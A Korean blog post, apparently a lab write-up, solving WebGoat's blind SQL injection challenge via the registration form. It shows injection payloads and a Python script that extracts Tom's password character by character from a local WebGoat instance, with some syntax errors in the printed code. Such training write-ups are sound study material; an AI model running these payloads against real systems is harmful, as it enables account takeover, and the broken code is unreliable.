WebGoat - SQL injection (Blind SQL injection)

oolongeya

·

2021. 8. 27. 18:26

Tom 으로 로그인 하면 된다.

 

이미 존재한다고 나온다.

 

참인 쿼리문 주석 처리로는 로그인이 되지 않는다.

 

 

REGISTER 부분에서도 참인 쿼리를 넣으면 이미 존재한다고 나온다.

 

 

거짓인 쿼리를 넣었더니 계정이 생성 되었다.

 

tom' and substr(password,1,1)='a'-- 을 입력해서 password의 첫번째가 a인지 묻는 것을 만들 수 있다.

 

쿼리가 참이라면 이미 존재한다가 나올 것이고, 쿼리가 거짓이라면, 만들어질 것이다.

 

따라서 blind SQL injection의 조건이 갖춰지고, 참이 나오는 쿼리를 찾는 것이 곧 비밀번호를 찾는 것이다.

 

burp suite에서 확인해보면,

 

username_reg

email_reg

password_reg

confirm_password_reg

 

인자값을 활용하는 것을 알 수 있다.

 

비밀번호를 알아내기 위해 노가다로 입력하는 것은 힘들고, 파이썬 코드를 작성해서 시도해보려고 한다.

코드는 아래 링크의 게시글을 참고했다.

https://dailylearn.tistory.com/34?category=916267

vsc 작성시 requests 모듈이 필요한데 설치를 하고 코드를 작성해야 오류가 발생하지 않는다.

 

 

 

작성자는 VSC를 이용하는데, 가상 머신을 만들고 해당 경로의 scripts 디텍토리에서 설치를 진행했다.

구글에 VSC 파이썬 requests 를 검색하면 설치 방법이 자세히 나오니 참고하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
 
password = str()
url = "http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge"
cookie = {'JSESSIONID' : 'e8kZcchVhTdMG2xwGp0J7CNnrSLA_N1mN0HsfR3I'}
password_length = int()
 
print('[ Check Password length ... ]')
 
for length in range(130): 
    print("* check length [%d]..." %length)
    data = {'username_reg' : "tom' and length(password) = %d and '1'='1" %length, 'email_reg' : '1@1.com''password_reg' : '1''confirm_password_reg' : '1'}
    r = requests.put(url, data, cookies=cookie)
    
    if 'created' in str(r.content):
        continue
 
    if 'exists' in str(r.content):
        password_length = length
        break
 
print('==================================================')
print("password_length : %d" %password_length)
 
print('Find Password ...')
 
for i in range(1, password_length + 1):
    for j in range(0x210x7b):
        print("* check password :", j)
        payload = "tom' and substr(password, %d, 1) = '%c' and '1'='1" % (i, j)
        data = {'username_reg' : payload, 'email_reg' : '1@1.com''password_reg' : '1''confirm_password_reg' : '1'}
        r = requests.put(url, data, cookies=cookie)
        
        if 'created' in str(r.content):
            continue
        if 'exists' in str(r.content):
            password += chr(j)
 
print("password : %s" %password)
cs

 

 

생각보다 시간이 꽤 걸려서, print 문에 잘 진행되고 있는지 확인용 코드를 넣으시는걸 추천 한다.

 

 

thisisasecretfortomonly

 

 

 

플래그를 얻을 수 있다.

 

 

반응형